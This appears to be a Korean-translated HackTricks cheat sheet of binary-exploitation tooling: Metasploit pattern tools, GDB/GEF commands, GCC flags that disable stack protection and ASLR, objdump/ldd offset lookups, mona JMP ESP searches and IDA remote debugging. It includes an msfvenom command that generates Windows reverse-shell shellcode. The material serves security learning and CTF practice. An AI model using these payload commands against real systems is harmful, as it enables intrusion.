Exploiting Tools

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

쉘코드

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

설치

apt-get install gdb

매개변수

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

지침

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

GEF의 이 포크를 사용하여 더 흥미로운 명령어를 포함시킬 수도 있습니다.

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

트릭

GDB 동일한 주소

디버깅 중에 GDB는 실행될 때 사용되는 것과 약간 다른 주소를 가질 수 있습니다. GDB가 동일한 주소를 가지도록 하려면 다음을 수행할 수 있습니다:

  • unset env LINES

  • unset env COLUMNS

  • set env _=<path> 바이너리의 절대 경로를 입력하세요

  • 동일한 절대 경로를 사용하여 바이너리를 이용한 공격

  • GDB를 사용할 때와 바이너리를 공격할 때 PWDOLDPWD가 동일해야 합니다

호출된 함수 찾기 위한 역추적

정적으로 링크된 바이너리의 경우 모든 함수가 바이너리에 속하게 됩니다(외부 라이브러리가 아님). 이 경우 예를 들어 사용자 입력을 요청하는 바이너리가 따르는 흐름을 식별하는 것이 어려울 수 있습니다. 이 흐름을 쉽게 식별하기 위해 gdb를 사용하여 바이너리를 실행하고 사용자 입력을 요청받을 때까지 실행합니다. 그런 다음 CTRL+C로 중지하고 bt (역추적) 명령을 사용하여 호출된 함수를 확인할 수 있습니다:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB 서버

gdbserver --multi 0.0.0.0:23947 (IDA에서는 Linux 머신의 실행 파일의 절대 경로와 Windows 머신의 절대 경로를 입력해야 함)

Ghidra

스택 오프셋 찾기

Ghidra로컬 변수의 위치 정보 덕분에 버퍼 오버플로우에 대한 오프셋을 찾는 데 매우 유용합니다. 예를 들어, 아래 예시에서 local_bc에서의 버퍼 플로우는 0xbc의 오프셋이 필요하다는 것을 나타냅니다. 또한, local_10이 캐너리 쿠키인 경우 local_bc에서 덮어쓰기 위한 오프셋은 0xac입니다. RIP가 저장된 첫 번째 0x08이 RBP에 속한다는 것을 기억하세요.

qtool

qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog

프로그램에서 실행된 모든 옵코드를 가져옵니다.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> 보호 기능 없이 컴파일합니다 -o --> 출력 -g --> 코드 저장 (GDB에서 볼 수 있음) echo 0 > /proc/sys/kernel/randomize_va_space --> 리눅스에서 ASLR 비활성화

쉘코드를 컴파일하는 방법: nasm -f elf assembly.asm --> ".o" 파일 반환 ld assembly.o -o shellcodeout --> 실행 파일

Objdump

-d --> 실행 파일의 옵코드 섹션을 역어셈블링합니다 (컴파일된 쉘코드의 옵코드, ROP 가젯, 함수 주소 찾기...) -Mintel --> Intel 구문 -t --> 심볼 테이블 -D --> 모두 역어셈블 (정적 변수의 주소) -s -j .dtors --> dtors 섹션 -s -j .got --> got 섹션 -D -s -j .plt --> plt 섹션 디컴파일 ojdump -t --dynamic-relo ./exec | grep puts --> 수정할 "puts" 주소를 찾습니다 objdump -D ./exec | grep "VAR_NAME" --> 정적 변수의 주소 (이들은 DATA 섹션에 저장됨).

Core dumps

  1. 프로그램을 시작하기 전에 ulimit -c unlimited 실행

  2. sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t 실행

  3. sudo gdb --core=\<path/core> --quiet 실행

More

ldd executable | grep libc.so.6 --> 주소 (ASLR이 켜져 있으면 매번 변경됨) for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> 주소가 자주 변경되는지 확인하기 위한 루프 readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> "system"의 오프셋 strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> "/bin/sh"의 오프셋

strace executable --> 실행 파일에서 호출된 함수 rabin2 -i ejecutable --> 모든 함수의 주소

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

원격 리눅스 디버깅

IDA 폴더 안에는 리눅스 내에서 이진 파일을 디버깅하는 데 사용할 수 있는 이진 파일이 포함되어 있습니다. 이를 위해 linux_server 또는 linux_server64 바이너리를 리눅스 서버로 이동하고 해당 바이너리가 포함된 폴더 내에서 실행하십시오:

./linux_server64 -Ppass

그런 다음, 디버거를 구성하십시오: 디버거 (리눅스 원격) --> 프로세스 옵션...:

htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

Last updated